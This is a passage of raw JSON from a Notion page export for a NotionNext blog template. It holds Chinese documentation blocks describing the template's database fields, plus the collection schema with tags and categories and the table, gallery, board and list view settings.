NotionNext文档"]],"description":[["Notion有很多使用的快捷键,看完这篇文章,让你的效率加倍"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd4851275-5ab5-4aaa-bc51-77c73ad658c4%2Fe8ed862f23227112ab999a90757a3bf8.jpg?table=block\u0026id=a88d5688-b66a-4baf-a8e8-f769bb210954\u0026width=800","copied_from_pointer":{"id":"17282155-ecbc-4305-ac53-fe11b3694d75","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"17282155-ecbc-4305-ac53-fe11b3694d75"}},"35153d83-59d1-4af9-b986-53aa8573709e":{"value":{"id":"35153d83-59d1-4af9-b986-53aa8573709e","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"d47d353c-dacf-4bc5-88a9-35cc5747e15f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d47d353c-dacf-4bc5-88a9-35cc5747e15f"}},"4db6ff22-9486-468a-8f4e-651a0973869c":{"value":{"id":"4db6ff22-9486-468a-8f4e-651a0973869c","type":"text","properties":{"title":[["NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"d05a1cc7-2e83-4df0-b914-950ae25d7af2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d05a1cc7-2e83-4df0-b914-950ae25d7af2"}},"3dbdf851-118a-40f3-a713-d6477e7a71a9":{"value":{"id":"3dbdf851-118a-40f3-a713-d6477e7a71a9","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e"]],"title":[["Vercel云部署 | NotionNext文档"]],"description":[["Vercel是一款国外的Serverless托管平台,对个人用户使用几乎免费,而且方便快捷,用Vercel托管你的Notion站点,无需再操心服务器的维护与资费问题。"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1642083139428-9ee5fa423c46?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=tinysrgb\u0026width=800\u0026fmt=webp","copied_from_pointer":{"id":"c396a66f-9cf3-498d-801c-f4920a250f9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"c396a66f-9cf3-498d-801c-f4920a250f9c"}},"2083ca79-572d-4541-a5c9-57585bd5c43e":{"value":{"id":"2083ca79-572d-4541-a5c9-57585bd5c43e","type":"transclusion_container","content":["66421ace-22bf-48c7-ad29-02813c60ca86","31b03937-440c-4d3c-9e1d-f7e574980c46","b02f9c83-81f1-43bd-9628-3e7bebd5f788","04b2e24c-2668-4730-a40a-20a95985573b"],"format":{"copied_from_pointer":{"id":"317252ed-9632-402f-a44a-98d96762d689","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"317252ed-9632-402f-a44a-98d96762d689"}},"66421ace-22bf-48c7-ad29-02813c60ca86":{"value":{"id":"66421ace-22bf-48c7-ad29-02813c60ca86","type":"sub_header","properties":{"title":[["Notion模板字段说明"]]},"format":{"copied_from_pointer":{"id":"668dc355-faed-4fe4-9d81-6f58fec61fb5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"668dc355-faed-4fe4-9d81-6f58fec61fb5"}},"31b03937-440c-4d3c-9e1d-f7e574980c46":{"value":{"id":"31b03937-440c-4d3c-9e1d-f7e574980c46","type":"text","properties":{"title":[["Notion数据库中,每条数据都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"12385e7c-e10c-4622-9e50-7c6ad15123c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"12385e7c-e10c-4622-9e50-7c6ad15123c3"}},"b02f9c83-81f1-43bd-9628-3e7bebd5f788":{"value":{"id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","type":"table","content":["51461f6d-9183-43ce-abb8-8a36cbf70224","f3b53692-4b37-4a1f-bd37-8fed90eab370","6183f85b-4bca-4886-8124-6225c80922a6","dd776aeb-7770-4ce0-bd08-4a1a747c1e42","b08e2032-92c2-494d-a65f-10865bae9cfa","0a03579c-603b-4921-a96c-582da1d0e6a4","0c2f3812-71c4-4d90-a96b-0f02b10442eb","9183be4f-9a55-4940-812f-e50275f88d5d","ba90c4d0-5bca-43eb-82db-749dd4f2958a","6e433da2-3abf-4b13-8e88-a743d5966975","553d4bf0-c754-45d8-98da-a76da2d494bc"],"format":{"copied_from_pointer":{"id":"dcfd5c0b-5113-455d-8c84-59da641239c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":116.99479675292969},"GENW":{"width":46.989585876464844},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337148,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"dcfd5c0b-5113-455d-8c84-59da641239c1"}},"51461f6d-9183-43ce-abb8-8a36cbf70224":{"value":{"id":"51461f6d-9183-43ce-abb8-8a36cbf70224","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"967fcf62-151b-4e6d-8e11-cf1330623b6e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"967fcf62-151b-4e6d-8e11-cf1330623b6e"}},"f3b53692-4b37-4a1f-bd37-8fed90eab370":{"value":{"id":"f3b53692-4b37-4a1f-bd37-8fed90eab370","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"56fe3c1e-0c1b-43d8-8344-56b30ede6161","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"56fe3c1e-0c1b-43d8-8344-56b30ede6161"}},"6183f85b-4bca-4886-8124-6225c80922a6":{"value":{"id":"6183f85b-4bca-4886-8124-6225c80922a6","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"0fa0d89f-d3f7-4100-a856-99812bbc8374","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"0fa0d89f-d3f7-4100-a856-99812bbc8374"}},"dd776aeb-7770-4ce0-bd08-4a1a747c1e42":{"value":{"id":"dd776aeb-7770-4ce0-bd08-4a1a747c1e42","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"fc0a364f-82e8-4089-a37a-fec79f038539","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"fc0a364f-82e8-4089-a37a-fec79f038539"}},"b08e2032-92c2-494d-a65f-10865bae9cfa":{"value":{"id":"b08e2032-92c2-494d-a65f-10865bae9cfa","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946"}},"0a03579c-603b-4921-a96c-582da1d0e6a4":{"value":{"id":"0a03579c-603b-4921-a96c-582da1d0e6a4","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"41a21bdf-3dd3-4650-95ee-74789c4ea543","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"41a21bdf-3dd3-4650-95ee-74789c4ea543"}},"0c2f3812-71c4-4d90-a96b-0f02b10442eb":{"value":{"id":"0c2f3812-71c4-4d90-a96b-0f02b10442eb","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"30a12038-8ae7-49d2-add1-bf04b02e4310","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"30a12038-8ae7-49d2-add1-bf04b02e4310"}},"9183be4f-9a55-4940-812f-e50275f88d5d":{"value":{"id":"9183be4f-9a55-4940-812f-e50275f88d5d","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"bd6c29d2-2d8c-410d-8854-4febce31c08b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"bd6c29d2-2d8c-410d-8854-4febce31c08b"}},"ba90c4d0-5bca-43eb-82db-749dd4f2958a":{"value":{"id":"ba90c4d0-5bca-43eb-82db-749dd4f2958a","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"e8319f15-4ef7-4e18-b7e2-9465b28093d1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"e8319f15-4ef7-4e18-b7e2-9465b28093d1"}},"6e433da2-3abf-4b13-8e88-a743d5966975":{"value":{"id":"6e433da2-3abf-4b13-8e88-a743d5966975","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["/"],["Menu",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"9ede6934-ce4f-40fc-966a-5561738eaf8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"9ede6934-ce4f-40fc-966a-5561738eaf8d"}},"553d4bf0-c754-45d8-98da-a76da2d494bc":{"value":{"id":"553d4bf0-c754-45d8-98da-a76da2d494bc","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"34c189ef-9dc1-45a0-862a-84820c7fa952","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"34c189ef-9dc1-45a0-862a-84820c7fa952"}},"04b2e24c-2668-4730-a40a-20a95985573b":{"value":{"id":"04b2e24c-2668-4730-a40a-20a95985573b","type":"text","format":{"copied_from_pointer":{"id":"545f515a-6818-4862-ac51-294023cdf61f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"545f515a-6818-4862-ac51-294023cdf61f"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"}